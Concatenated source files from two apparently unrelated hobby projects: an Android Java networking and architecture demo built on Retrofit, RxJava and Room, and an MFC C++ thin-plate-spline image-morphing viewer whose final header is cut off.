```package com.winning.marsarchitecture.datacenter.network;
import com.google.gson.Gson;
import com.google.gson.JsonParseException;
import org.apache.http.conn.ConnectTimeoutException;
import org.reactivestreams.Publisher;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.net.ConnectException;
import java.net.SocketTimeoutException;
import java.net.UnknownHostException;
import io.reactivex.Flowable;
import io.reactivex.functions.Function;
import retrofit2.HttpException;
import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_NETWORK_ERROR;
import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_SERVER_ERROR;
import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_UNAUTHORIZED;
import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_UNKNOWN_ERROR;
public class ResponseErrorProxy implements InvocationHandler {
public static final String TAG = ResponseErrorProxy.class.getSimpleName();
private Object mProxyObject;
private String url;
public ResponseErrorProxy(Object proxyObject,String url) {
mProxyObject = proxyObject;
this.url = url;
}
@Override
public Object invoke(Object proxy, final Method method, final Object[] args) {
return Flowable.just("")
.flatMap((Function<String, Flowable<?>>) s -> (Flowable<?>) method.invoke(mProxyObject, args))
.retryWhen(throwableFlowable -> throwableFlowable.flatMap((Function<Throwable, Publisher<?>>) throwable -> {
ResponseError error = null;
if (throwable instanceof ConnectTimeoutException
|| throwable instanceof SocketTimeoutException
|| throwable instanceof UnknownHostException
|| throwable instanceof ConnectException) {
error = new ResponseError(HTTP_NETWORK_ERROR, "ๅฝๅ็ฝ็ป็ฏๅข่พๅทฎ๏ผ่ฏท็จๅ้่ฏ!");
} else if (throwable instanceof HttpException) {
HttpException exception = (HttpException) throwable;
try {
error = new Gson().fromJson(exception.response().errorBody().string(), ResponseError.class);
} catch (Exception e) {
if (e instanceof JsonParseException) {
error = new ResponseError(HTTP_SERVER_ERROR, "ๆฑๆญ๏ผๆๅกๅจๅบ้ไบ!");
} else {
error = new ResponseError(HTTP_UNKNOWN_ERROR, "ๆฑๆญ๏ผ็ณป็ปๅบ็ฐๆช็ฅ้่ฏฏ!");
}
}
} else if (throwable instanceof JsonParseException) {
error = new ResponseError(HTTP_SERVER_ERROR, "ๆฑๆญ๏ผๆๅกๅจๅบ้ไบ!");
} else {
error = new ResponseError(HTTP_UNKNOWN_ERROR, "ๆฑๆญ๏ผ็ณป็ปๅบ็ฐๆช็ฅ้่ฏฏ!");
}
if (error.getStatus() == HTTP_UNAUTHORIZED) {
return refreshTokenWhenTokenInvalid();
} else {
return Flowable.error(error);
}
}));
}
private Flowable<?> refreshTokenWhenTokenInvalid() {
synchronized (ResponseErrorProxy.class) {
return Flowable.error(new ResponseError(HTTP_SERVER_ERROR, "ๆฑๆญ๏ผๆๅกๅจๅบ้ไบ!"));
}
}
}
```
GirlsResposity.java
```package com.winning.marsarchitecture.datacenter;
import android.app.Application;
import com.winning.marsarchitecture.datacenter.db.AppDatabase;
import com.winning.marsarchitecture.datacenter.db.User;
import com.winning.marsarchitecture.datacenter.network.ApiServiceModule;
import com.winning.marsarchitecture.util.AppExecutors;
import com.winning.marsarchitecture.util.SwitchSchedulers;
import io.reactivex.Flowable;
/**
* Created by yuzhijun on 2018/4/12.
*/
public class GirlsResposity {
private static AppExecutors mAppExecutors = new AppExecutors();
public static Flowable getFuliData(String size, String index) {
return ApiServiceModule.getInstance().getNetworkService()
.getFuliData(size,index)
.compose(SwitchSchedulers.applySchedulers())
.map(girlsData -> girlsData);
}
public static Flowable<User> getUserData(Application application){
return AppDatabase.getInstance(application,mAppExecutors)
.userDao().getUser();
}
}
```
Constants.java
```package com.winning.marsarchitecture.util;
/**
* Created by yuzhijun on 2018/4/3.
*/
public class Constants {
public static final String PATH_URL = "/Path";
public static final String BASE_URL = "http://gank.io";
public static final String GIRLS_URL = "api/data/%E7%A6%8F%E5%88%A9/20/{index}/"+PATH_URL;
public class HttpCode {
public static final int HTTP_UNAUTHORIZED = 401;
public static final int HTTP_SERVER_ERROR = 500;
public static final int HTTP_NOT_HAVE_NETWORK = 600;
public static final int HTTP_NETWORK_ERROR = 700;
public static final int HTTP_UNKNOWN_ERROR = 800;
}
}
```
ApiService.java
```package com.winning.marsarchitecture.datacenter.network;
import com.winning.marsarchitecture.model.GirlsData;
import io.reactivex.Flowable;
import okhttp3.ResponseBody;
import retrofit2.http.GET;
import retrofit2.http.Path;
import retrofit2.http.Url;
/**
* Created by yuzhijun on 2018/4/2.
*/
public interface ApiService<T> {
@GET
Flowable<ResponseBody> getDynamicData(@Url String url);
@GET ("api/data/็ฆๅฉ/{size}/{index}")
Flowable<GirlsData> getFuliData(@Path("size") String size, @Path("index") String index);
}
```
SwitchSchedulers.java
```package com.winning.marsarchitecture.util;
import io.reactivex.FlowableTransformer;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.schedulers.Schedulers;
/**
* Created by yuzhijun on 2018/4/12.
*/
public class SwitchSchedulers {
public static <T> FlowableTransformer<T, T> applySchedulers() {
return upstream -> upstream.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread());
}
}
```
DataRepository.java
```package com.winning.marsarchitecture.datacenter;
import com.winning.marsarchitecture.datacenter.network.ApiServiceModule;
import com.winning.marsarchitecture.util.GsonHelper;
import com.winning.marsarchitecture.util.SwitchSchedulers;
import io.reactivex.Flowable;
import io.reactivex.functions.Function;
import okhttp3.ResponseBody;
/**
* Created by yuzhijun on 2018/4/12.
*/
public class DataRepository {
public static <T> Flowable getDynamicData(String url, final Class<T> clazz) {
return ApiServiceModule.getInstance().getNetworkService()
.getDynamicData(url)
.compose(SwitchSchedulers.applySchedulers())
.map(new Function<ResponseBody, T>() {
@Override
public T apply(ResponseBody responseBody) throws Exception {
return GsonHelper.getIntance().str2JsonBean(responseBody.string(),clazz);
}
});
}
}
```
ApiServiceModule.java
```package com.winning.marsarchitecture.datacenter.network;
import com.winning.marsarchitecture.util.Constants;
import java.lang.reflect.Proxy;
import java.util.concurrent.TimeUnit;
import okhttp3.OkHttpClient;
import retrofit2.Retrofit;
import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory;
import retrofit2.converter.gson.GsonConverterFactory;
/**
* Created by yuzhijun on 2018/4/2.
*/
public class ApiServiceModule {
private static final int DEFAULT_TIMEOUT = 5;
private static final int READ_TIMEOUT = 3;
private static ApiServiceModule mInstance;
private ApiServiceModule(){
}
public static ApiServiceModule getInstance(){
if (null == mInstance){
synchronized (ApiServiceModule.class){
if (null == mInstance){
mInstance = new ApiServiceModule();
}
}
}
return mInstance;
}
private OkHttpClient provideOkHttpClientBuilder(){
OkHttpClient httpClientBuilder = new OkHttpClient();
httpClientBuilder.newBuilder()
.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS)
.connectTimeout(DEFAULT_TIMEOUT, TimeUnit.SECONDS)
.retryOnConnectionFailure(true);
return httpClientBuilder;
}
private Retrofit provideRetrofit(OkHttpClient OkHttpClientBuilder,String url){
return new Retrofit.Builder()
.baseUrl(url == null || "".equalsIgnoreCase(url) ? Constants.BASE_URL:url)
.addConverterFactory(StringConverterFactory.create())
.addConverterFactory(GsonConverterFactory.create())
.addCallAdapterFactory(RxJava2CallAdapterFactory.create())
.client(OkHttpClientBuilder)
.build();
}
private ApiService provideApiService(Retrofit retrofit){
return getByProxy(ApiService.class,retrofit);
}
private ApiService getByProxy(Class<? extends ApiService> apiService, Retrofit retrofit){
ApiService api = retrofit.create(apiService);
return (ApiService) Proxy.newProxyInstance(apiService.getClassLoader(),new Class<?>[] { apiService },new ResponseErrorProxy(api,retrofit.baseUrl().toString()));
}
public ApiService getNetWorkService(Class<? extends ApiService> apiService,String url){
OkHttpClient okHttpClient = provideOkHttpClientBuilder();
Retrofit retrofit = provideRetrofit(okHttpClient,url);
return getByProxy(apiService,retrofit);
}
public ApiService getNetworkService(String url){
OkHttpClient okHttpClient = provideOkHttpClientBuilder();
Retrofit retrofit = provideRetrofit(okHttpClient,url);
return provideApiService(retrofit);
}
public ApiService getNetworkService(){
return getNetworkService(null);
}
}
```
MainActivity.java
```package com.winning.marsarchitecture.ui;
import android.arch.lifecycle.ViewModelProviders;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.TextView;
import com.winning.marsarchitecture.R;
import com.winning.marsarchitecture.model.GirlsData;
import com.winning.marsarchitecture.util.Constants;
import com.winning.marsarchitecture.viewmodel.DynamicGirlsViewModel;
import java.util.List;
public class MainActivity extends AppCompatActivity {
private DynamicGirlsViewModel mGirlsViewModel;
private TextView tvTest;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
tvTest = findViewById(R.id.tvTest);
mGirlsViewModel = ViewModelProviders.of(MainActivity.this).get(DynamicGirlsViewModel.class);
mGirlsViewModel.getELiveObservableData(Constants.GIRLS_URL, "3").observe(MainActivity.this, girlsData -> {
if (null != girlsData){
List<GirlsData.ResultsBean> resultsBeans = girlsData.getResults();
}
});
tvTest.setOnClickListener(view -> mGirlsViewModel.getGirlsData("2","3").observe(MainActivity.this, girlsData -> {
if (null != girlsData){
List<GirlsData.ResultsBean> resultsBeans = girlsData.getResults();
}
}));
}
}
```
AppDatabase.java
```package com.winning.marsarchitecture.datacenter.db;
import android.arch.lifecycle.LiveData;
import android.arch.lifecycle.MutableLiveData;
import android.arch.persistence.db.SupportSQLiteDatabase;
import android.arch.persistence.room.Database;
import android.arch.persistence.room.Room;
import android.arch.persistence.room.RoomDatabase;
import android.arch.persistence.room.TypeConverters;
import android.content.Context;
import android.support.annotation.NonNull;
import com.winning.marsarchitecture.util.AppExecutors;
/**
* Created by yuzhijun on 2018/4/13.
*/
@Database(entities = {User.class}, version = 1)
@TypeConverters(DateConverter.class)
public abstract class AppDatabase extends RoomDatabase {
private static AppDatabase sInstance;
public static final String DATABASE_NAME = "Mars";
public abstract UserDao userDao();
private final MutableLiveData<Boolean> mIsDatabaseCreated = new MutableLiveData<>();
public static AppDatabase getInstance(final Context context, final AppExecutors executors) {
if (sInstance == null) {
synchronized (AppDatabase.class) {
if (sInstance == null) {
sInstance = buildDatabase(context.getApplicationContext(), executors);
sInstance.updateDatabaseCreated(context.getApplicationContext());
}
}
}
return sInstance;
}
private static AppDatabase buildDatabase(final Context appContext,
final AppExecutors executors) {
return Room.databaseBuilder(appContext, AppDatabase.class, DATABASE_NAME)
.addCallback(new Callback() {
@Override
public void onCreate(@NonNull SupportSQLiteDatabase db) {
super.onCreate(db);
executors.diskIO().execute(() -> {
AppDatabase database = AppDatabase.getInstance(appContext, executors);
// Time consuming task
// notify that the database was created and it's ready to be used
database.setDatabaseCreated();
});
}
}).build();
}
/**
* Check whether the database already exists and expose it via {@link #getDatabaseCreated()}
*/
private void updateDatabaseCreated(final Context context) {
if (context.getDatabasePath(DATABASE_NAME).exists()) {
setDatabaseCreated();
}
}
private void setDatabaseCreated(){
mIsDatabaseCreated.postValue(true);
}
public LiveData<Boolean> getDatabaseCreated() {
return mIsDatabaseCreated;
}
}
```
BaseViewModel.java
```package com.winning.marsarchitecture.viewmodel;
import android.app.Application;
import android.arch.lifecycle.AndroidViewModel;
import android.arch.lifecycle.LiveData;
import android.arch.lifecycle.MutableLiveData;
import android.support.annotation.NonNull;
import com.winning.marsarchitecture.datacenter.DataRepository;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Proxy;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import io.reactivex.disposables.CompositeDisposable;
import io.reactivex.subscribers.DisposableSubscriber;
import static com.winning.marsarchitecture.util.Constants.PATH_URL;
/**
* Created by yuzhijun on 2018/4/12.
*/
public class BaseViewModel<T> extends AndroidViewModel implements IRequest<T>{
private static final Pattern pattern = Pattern.compile("\\{(.*?)\\}");
protected Application mApplication;
//็ๅฝๅจๆ่งๅฏ็ๆฐๆฎ
private MutableLiveData<T> liveObservableData = new MutableLiveData<>();
public final CompositeDisposable mDisposable = new CompositeDisposable();
private static final MutableLiveData ABSENT = new MutableLiveData();
{
//noinspection unchecked
ABSENT.setValue(null);
}
public BaseViewModel(@NonNull Application application) {
super(application);
mApplication = application;
}
/**
* LiveDataๆฏๆไบlifecycle็ๅฝๅจๆๆฃๆต
* @return
*/
public LiveData<T> getELiveObservableData(String url, String... params) {
IRequest request = (IRequest) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{IRequest.class}, new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object object = null;
try {
String url = redirectParseMethodUrl(args);
if (null != url){
object = getLiveObservableData(url);
}
}catch (Exception e){
e.printStackTrace();
}
return object;
}
});
request.getLiveObservableData(url,params);
return liveObservableData;
}
public LiveData<T> getLiveObservableData(String url,String...params) {
DataRepository.getDynamicData(url,getTClass())
.subscribeWith(new DisposableSubscriber<T>() {
@Override
public void onNext(T value) {
if(null != value){
liveObservableData.setValue(value);
}
}
@Override
public void onError(Throwable t) {
}
@Override
public void onComplete() {
}
});
return liveObservableData;
}
private String redirectParseMethodUrl(Object[] args){
if (null != args && args.length > 0){
String url = (String) args[0];
boolean isPath = false;
if (null != url){
isPath = url.contains(PATH_URL);
if (isPath){
return parseMethodUrlPath(args);
}else{
return parseMethodUrlKey(args);
}
}
}
return "";
}
private String parseMethodUrlKey(Object[] args){
String baseUrl = "";
if (null != args && args.length > 0){
String url = (String) args[0];
int index = url.indexOf("{");
if (index > 0){
baseUrl = url.substring(0,index-1);
Matcher matcher = pattern.matcher(url);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("?");
for (int i = 0;matcher.find();i++){
String key = matcher.group();
String realKey = key.substring(key.indexOf("{")+1,key.lastIndexOf("}"));
Object[] value = (Object[]) args[1];
if (value != null){
stringBuilder.append(realKey+"="+value[i]+ "&");
}
}
baseUrl += stringBuilder.toString();
}
}
return baseUrl;
}
private String parseMethodUrlPath(Object[] args) {
String url = "";
if (null != args && args.length > 0){
url = (String) args[0];
url = url.substring(0,url.lastIndexOf("/") - 1);
Matcher matcher = pattern.matcher(url);
for (int i = 0;matcher.find();i++){
Object[] value = (Object[]) args[1];
String key = matcher.group();
if (null != value){
url = url.replace(key,(String)value[i]);
}
}
}
return url;
}
public Class<T> getTClass(){
Class<T> tClass = (Class<T>)((ParameterizedType)getClass().getGenericSuperclass()).getActualTypeArguments()[0];
return tClass;
}
@Override
protected void onCleared() {
super.onCleared();
mDisposable.clear();
}
}
```
DynamicGirlsViewModel.java
```package com.winning.marsarchitecture.viewmodel;
import android.app.Application;
import android.arch.lifecycle.LiveData;
import android.arch.lifecycle.MutableLiveData;
import android.support.annotation.NonNull;
import com.winning.marsarchitecture.datacenter.GirlsResposity;
import com.winning.marsarchitecture.datacenter.db.User;
import com.winning.marsarchitecture.model.GirlsData;
import io.reactivex.subscribers.DisposableSubscriber;
public class DynamicGirlsViewModel extends BaseViewModel<GirlsData> {
//็ๅฝๅจๆ่งๅฏ็ๆฐๆฎ
private MutableLiveData<GirlsData> mGirlsDataMutableLiveData = new MutableLiveData<>();
private MutableLiveData<User> mUserMutableLiveData = new MutableLiveData<>();
public DynamicGirlsViewModel(@NonNull Application application) {
super(application);
}
public LiveData<GirlsData> getGirlsData(String size,String index) {
GirlsResposity.getFuliData(size, index)
.subscribeWith(new DisposableSubscriber<GirlsData>() {
@Override
public void onNext(GirlsData o) {
if (null != o) {
mGirlsDataMutableLiveData.setValue(o);
}
}
@Override
public void onError(Throwable t) {
}
@Override
public void onComplete() {
}
});
return mGirlsDataMutableLiveData;
}
public LiveData<User> getUserData(){
GirlsResposity.getUserData(mApplication)
.subscribeWith(new DisposableSubscriber<User>() {
@Override
public void onNext(User user) {
if (null != user){
mUserMutableLiveData.setValue(user);
}
}
@Override
public void onError(Throwable t) {
}
@Override
public void onComplete() {
}
});
return mUserMutableLiveData;
}
}
```
|
yuzhuqingyun/pheonixrt
|
yuzhuqingyun/pheonixrt
resource.h
```//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by WarpTPS.rc
//
#define IDD_ABOUTBOX 100
#define IDD_MORPHSLIDER 103
#define IDR_MAINFRAME 128
#define IDR_WARPTPTYPE 129
#define IDC_SLIDER1 1000
#define IDC_SLIDER2 1001
#define IDC_STATIC_REFERENCE 1002
#define IDC_STATIC_TREATMENT 1003
#define IDC_CHECK_LOCK 1004
#define IDC_SLIDER3 1005
#define ID_BUTTON32771 32771
#define ID_SHOWMARKS 32772
#define ID_FILE_OPEN_IMAGES 32773
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_3D_CONTROLS 1
#define _APS_NEXT_RESOURCE_VALUE 130
#define _APS_NEXT_COMMAND_VALUE 32774
#define _APS_NEXT_CONTROL_VALUE 1006
#define _APS_NEXT_SYMED_VALUE 104
#endif
#endif
```
WarpTPSView.h
```// WarpTPSView.h : interface of the CWarpTPSView class
//
/////////////////////////////////////////////////////////////////////////////
#if !defined(AFX_WARPTPSVIEW_H__2DAB2AE8_C5E5_497F_BC5F_159207454250__INCLUDED_)
#define AFX_WARPTPSVIEW_H__2DAB2AE8_C5E5_497F_BC5F_159207454250__INCLUDED_
#include <DibView.h> // Added by ClassView
#include <MorphSlider.h>
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CWarpTPSView : public CView
{
protected: // create from serialization only
CWarpTPSView();
DECLARE_DYNCREATE(CWarpTPSView)
// Attributes
public:
CWarpTPSDoc* GetDocument();
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CWarpTPSView)
public:
virtual void OnDraw(CDC* pDC); // overridden to draw this view
virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
virtual void OnInitialUpdate();
protected:
virtual BOOL OnPreparePrinting(CPrintInfo* pInfo);
virtual void OnBeginPrinting(CDC* pDC, CPrintInfo* pInfo);
virtual void OnEndPrinting(CDC* pDC, CPrintInfo* pInfo);
virtual void OnUpdate(CView* pSender, LPARAM lHint, CObject* pHint);
//}}AFX_VIRTUAL
// Implementation
public:
// returns the rectangle for the three views
CRect GetRect(int nArea);
// the subordinate views
CDibView m_arrViews[3];
MorphSlider m_morphSlider;
// the transform for the view
CTPSTransform * m_pTransform;
// the inverse transform for the view
CTPSTransform * m_pInverseTransform;
// destructor
virtual ~CWarpTPSView();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
// Generated message map functions
protected:
//{{AFX_MSG(CWarpTPSView)
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnShowmarks();
afx_msg void OnUpdateShowmarks(CCmdUI* pCmdUI);
afx_msg void OnFileOpenImages();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
#ifndef _DEBUG // debug version in WarpTPSView.cpp
inline CWarpTPSDoc* CWarpTPSView::GetDocument()
{ return (CWarpTPSDoc*)m_pDocument; }
#endif
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_WARPTPSVIEW_H__2DAB2AE8_C5E5_497F_BC5F_159207454250__INCLUDED_)
```
MorphSlider.h
```#pragma once
#include <TPSTransform.h>
#include <Dib.h>
#include <DibView.h>
#include "afxcmn.h"
#include "afxwin.h"
// MorphSlider dialog
class MorphSlider : public CDialog
{
DECLARE_DYNAMIC(MorphSlider)
public:
MorphSlider(CWnd* pParent = NULL); // standard constructor
virtual ~MorphSlider();
CTPSTransform *m_pTransform;
CTPSTransform *m_pInverseTransform;
// various and sundry images
CDib *m_pSourceImage;
CDib *m_pDestinationImage;
CDib *m_pWarpedSourceImage;
CDib *m_pWarpedDestinationImage;
CDib *m_pBlendedImage;
CDibView *m_pWarpedView;
float m_morphPercent;
float m_blendPercent;
// Dialog Data
enum { IDD = IDD_MORPHSLIDER };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnBnClickedCheckLock();
// child controls
CSliderCtrl m_morphSlider;
CSliderCtrl m_blendSlider;
CSliderCtrl m_rSlider;
CButton m_checkLock;
};
```
WarpTPSView.cpp
```// WarpTPSView.cpp : implementation of the CWarpTPSView class
//
#include "stdafx.h"
#include "WarpTPS.h"
#include "WarpTPSDoc.h"
#include "WarpTPSView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CWarpTPSView
IMPLEMENT_DYNCREATE(CWarpTPSView, CView)
BEGIN_MESSAGE_MAP(CWarpTPSView, CView)
//{{AFX_MSG_MAP(CWarpTPSView)
ON_WM_SIZE()
ON_WM_CREATE()
ON_COMMAND(ID_SHOWMARKS, OnShowmarks)
ON_UPDATE_COMMAND_UI(ID_SHOWMARKS, OnUpdateShowmarks)
ON_COMMAND(ID_FILE_OPEN_IMAGES, OnFileOpenImages)
//}}AFX_MSG_MAP
// Standard printing commands
ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint)
ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint)
ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView::OnFilePrintPreview)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CWarpTPSView construction/destruction
CWarpTPSView::CWarpTPSView()
: m_pTransform(NULL)
, m_pInverseTransform(NULL)
{
}
CWarpTPSView::~CWarpTPSView()
{
}
BOOL CWarpTPSView::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
return CView::PreCreateWindow(cs);
}
/////////////////////////////////////////////////////////////////////////////
// CWarpTPSView drawing
void CWarpTPSView::OnDraw(CDC* pDC)
{
CWarpTPSDoc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
}
/////////////////////////////////////////////////////////////////////////////
// CWarpTPSView printing
BOOL CWarpTPSView::OnPreparePrinting(CPrintInfo* pInfo)
{
// default preparation
return DoPreparePrinting(pInfo);
}
void CWarpTPSView::OnBeginPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)
{
// TODO: add extra initialization before printing
}
void CWarpTPSView::OnEndPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)
{
// TODO: add cleanup after printing
}
/////////////////////////////////////////////////////////////////////////////
// CWarpTPSView diagnostics
#ifdef _DEBUG
void CWarpTPSView::AssertValid() const
{
CView::AssertValid();
}
void CWarpTPSView::Dump(CDumpContext& dc) const
{
CView::Dump(dc);
}
CWarpTPSDoc* CWarpTPSView::GetDocument() // non-debug version is inline
{
ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CWarpTPSDoc)));
return (CWarpTPSDoc*)m_pDocument;
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CWarpTPSView message handlers
void CWarpTPSView::OnInitialUpdate()
{
// set the document for the views
m_arrViews[0].SetDocument(GetDocument());
m_arrViews[0].SetDib(GetDocument()->GetImage(ImageRole::DestinationImage));
m_arrViews[1].SetDocument(GetDocument());
m_arrViews[1].SetDib(GetDocument()->GetImage(ImageRole::BlendedImage));
m_arrViews[2].SetDocument(GetDocument());
m_arrViews[2].SetDib(GetDocument()->GetImage(ImageRole::SourceImage));
CView::OnInitialUpdate();
}
CRect CWarpTPSView::GetRect(int nArea)
{
CRect rectClient;
GetClientRect(&rectClient);
rectClient.DeflateRect(10, 10, 10, 10);
//rectClient.right = rectClient.Height();
// compute the rectangle
CRect rect(rectClient);
rect.left = 5 + (nArea % 2) * (rectClient.Width() / 2);
rect.right = rect.left + (rectClient.Width() / 2 - 5);
rect.top = 5 + nArea / 2 * rectClient.Height() / 2;
rect.bottom = rect.top + rect.Width(); // assume square image
return rect;
}
void CWarpTPSView::OnSize(UINT nType, int cx, int cy)
{
CView::OnSize(nType, cx, cy);
CRect rect = GetRect(0);
m_arrViews[0].MoveWindow(&rect);
rect = GetRect(1);
m_arrViews[1].MoveWindow(&rect);
rect = GetRect(3);
m_arrViews[2].MoveWindow(&rect);
rect = GetRect(2);
m_morphSlider.MoveWindow(&rect);
}
int CWarpTPSView::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CView::OnCreate(lpCreateStruct) == -1)
return -1;
CRect rect = GetRect(0);
if (!m_arrViews[0].Create(NULL, NULL, WS_VISIBLE | WS_CHILD | WS_BORDER, rect, this, 0))
return -1;
rect = GetRect(1);
if (!m_arrViews[1].Create(NULL, NULL, WS_VISIBLE | WS_CHILD | WS_BORDER, rect, this, 0))
return -1;
rect = GetRect(3);
if (!m_arrViews[2].Create(NULL, NULL, WS_VISIBLE | WS_CHILD | WS_BORDER, rect, this, 0))
return -1;
if (!m_morphSlider.Create(IDD_MORPHSLIDER, this))
return -1;
rect = GetRect(2);
m_morphSlider.SetWindowPos(NULL, rect.left, rect.top, rect.Width(), rect.Height(),
SWP_SHOWWINDOW);
return 0;
}
void CWarpTPSView::OnUpdate(CView* pSender, LPARAM lHint, CObject* pHint)
{
// set the pointer to transform
m_pTransform = GetDocument()->GetTransform();
m_pInverseTransform = GetDocument()->GetInverseTransform();
if (m_pTransform)
{
CWaitCursor *pWaitCursor = NULL;
if (m_pTransform->GetLandmarkCount() > 10)
{
pWaitCursor = new CWaitCursor;
}
// now resample the center image
TRACE("OnUpdate/Resample");
m_pTransform->Resample(GetDocument()->GetImage(ImageRole::SourceImage),
GetDocument()->GetImage(ImageRole::WarpedSourceImage), m_morphSlider.m_morphPercent);
// update the inverse transform to document image 3
m_pInverseTransform->Resample(GetDocument()->GetImage(ImageRole::DestinationImage),
GetDocument()->GetImage(ImageRole::WarpedDestinationImage), 1.0);
GetDocument()->GetImage(ImageRole::BlendedImage)->CopyPixels(
GetDocument()->GetImage(ImageRole::WarpedSourceImage));
GetDocument()->GetImage(ImageRole::BlendedImage)->BlendPixels(
GetDocument()->GetImage(ImageRole::WarpedDestinationImage), m_morphSlider.m_blendPercent);
delete pWaitCursor;
}
ASSERT(m_arrViews[0].GetDib() == GetDocument()->GetImage(ImageRole::DestinationImage));
m_arrViews[0].SetDib(GetDocument()->GetImage(ImageRole::DestinationImage));
m_arrViews[0].SetTransform(m_pTransform, m_pInverseTransform, 0);
ASSERT(m_arrViews[1].GetDib() == GetDocument()->GetImage(ImageRole::BlendedImage));
m_arrViews[1].SetDib(GetDocument()->GetImage(ImageRole::BlendedImage));
m_arrViews[1].SetTransform(m_pTransform, m_pInverseTransform, 0);
ASSERT(m_arrViews[2].GetDib() == GetDocument()->GetImage(ImageRole::SourceImage));
m_arrViews[2].SetDib(GetDocument()->GetImage(ImageRole::SourceImage));
m_arrViews[2].SetTransform(m_pTransform, m_pInverseTransform, 1);
m_morphSlider.m_pTransform = m_pTransform;
m_morphSlider.m_pInverseTransform = m_pInverseTransform;
m_morphSlider.m_pWarpedView = &m_arrViews[1];
// set up the images
// TODO: give these more meaningful access via an enum
m_morphSlider.m_pSourceImage = GetDocument()->GetImage(ImageRole::SourceImage);
m_morphSlider.m_pWarpedSourceImage = GetDocument()->GetImage(ImageRole::WarpedSourceImage);
m_morphSlider.m_pDestinationImage = GetDocument()->GetImage(ImageRole::DestinationImage);
m_morphSlider.m_pWarpedDestinationImage = GetDocument()->GetImage(ImageRole::WarpedDestinationImage);
m_morphSlider.m_pBlendedImage = GetDocument()->GetImage(ImageRole::BlendedImage);
Invalidate(FALSE);
}
void CWarpTPSView::OnShowmarks()
{
m_arrViews[0].m_bDrawMarks = !m_arrViews[0].m_bDrawMarks;
m_arrViews[0].Invalidate(FALSE);
m_arrViews[1].m_bDrawMarks = m_arrViews[0].m_bDrawMarks;
m_arrViews[1].Invalidate(FALSE);
m_arrViews[2].m_bDrawMarks = m_arrViews[0].m_bDrawMarks;
m_arrViews[2].Invalidate(FALSE);
}
void CWarpTPSView::OnUpdateShowmarks(CCmdUI* pCmdUI)
{
pCmdUI->SetCheck(m_arrViews[0].m_bDrawMarks ? 1 : 0);
}
void CWarpTPSView::OnFileOpenImages()
{
CFileDialog imageFileOpen1(TRUE, _T("bmp"), NULL, OFN_HIDEREADONLY, NULL,
::AfxGetMainWnd());
CFileDialog imageFileOpen2(TRUE, _T("bmp"), NULL, OFN_HIDEREADONLY, NULL,
::AfxGetMainWnd());
if (IDOK == imageFileOpen1.DoModal() && IDOK == imageFileOpen2.DoModal())
{
// open the files
if (GetDocument()->LoadImages(imageFileOpen1.GetPathName(),
imageFileOpen2.GetPathName()))
{
// set up some corner landmarks
GetDocument()->InitCornerLandmarks();
// invalidate everything
Invalidate(TRUE);
// redraw the window
GetDocument()->UpdateAllViews(NULL);
}
}
}
```
TPSTransform.h
```//////////////////////////////////////////////////////////////////////
// TPSTransform.h: interface for the CTPSTransform class.
//
// Copyright (C) 2002
// $Id: TPSTransform.h,v 1.3 2003/04/26 20:52:39 default Exp $
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_TPSTRANSFORM_H__AD843B49_3C65_4573_B2D5_9C258B29969B__INCLUDED_)
#define AFX_TPSTRANSFORM_H__AD843B49_3C65_4573_B2D5_9C258B29969B__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifdef _FIELDCOM
#include "FieldCOM.h"
#endif
// container vector for the landmarks
#include <vector>
using namespace std;
// vector includes
#include <VectorD.h>
#include <VectorN.h>
// matrix
#include <MatrixNxM.h>
